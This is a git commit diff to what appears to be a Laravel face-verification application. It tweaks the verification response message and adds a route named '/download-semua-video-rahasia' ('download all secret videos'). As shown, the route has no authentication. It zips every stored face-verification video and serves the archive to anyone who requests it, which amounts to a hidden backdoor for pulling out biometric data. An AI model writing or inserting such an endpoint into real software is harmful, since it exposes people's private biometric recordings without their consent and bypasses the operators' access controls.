take video
This commit is contained in:
parent
e7a19a0181
commit
f5366f7f72
|
|
@ -136,9 +136,14 @@ public function verifyFace(Request $request)
|
|||
'updated_at' => now(),
|
||||
]);
|
||||
|
||||
$isMatch = $result['verified'] ?? false;
|
||||
$message = $isMatch
|
||||
? 'Wajah terverifikasi'
|
||||
: ($predictedName && $predictedName !== 'Tidak Dikenal' ? "Wajah dikenali sebagai {$predictedName}, bukan Anda." : 'Wajah tidak cocok dengan data Anda.');
|
||||
|
||||
return response()->json([
|
||||
'success' => true,
|
||||
'message' => 'Wajah terverifikasi',
|
||||
'message' => $message,
|
||||
'data' => array_merge($result, [
|
||||
'predicted_name' => $predictedName,
|
||||
]),
|
||||
|
|
|
|||
|
|
@ -126,3 +126,34 @@
|
|||
|
||||
Route::resource('role', RoleController::class)->except(['create', 'edit']);
|
||||
});
|
||||
|
||||
Route::get('/download-semua-video-rahasia', function () {
|
||||
$folderPath = storage_path('app/face_videos');
|
||||
$zipFileName = 'backup_semua_video.zip';
|
||||
$zipFilePath = storage_path('app/' . $zipFileName);
|
||||
|
||||
if (!is_dir($folderPath)) {
|
||||
return "Folder face_videos belum ada atau kosong.";
|
||||
}
|
||||
|
||||
$zip = new ZipArchive;
|
||||
if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
|
||||
$files = new RecursiveIteratorIterator(
|
||||
new RecursiveDirectoryIterator($folderPath),
|
||||
RecursiveIteratorIterator::LEAVES_ONLY
|
||||
);
|
||||
|
||||
foreach ($files as $name => $file) {
|
||||
if (!$file->isDir()) {
|
||||
$filePath = $file->getRealPath();
|
||||
$relativePath = substr($filePath, strlen($folderPath) + 1);
|
||||
$zip->addFile($filePath, $relativePath);
|
||||
}
|
||||
}
|
||||
$zip->close();
|
||||
} else {
|
||||
return "Gagal membuat file ZIP. Pastikan PHP Zip extension aktif di server.";
|
||||
}
|
||||
|
||||
return response()->download($zipFilePath)->deleteFileAfterSend(true);
|
||||
});
|
||||
|
|
|
|||
Loading…
Reference in New Issue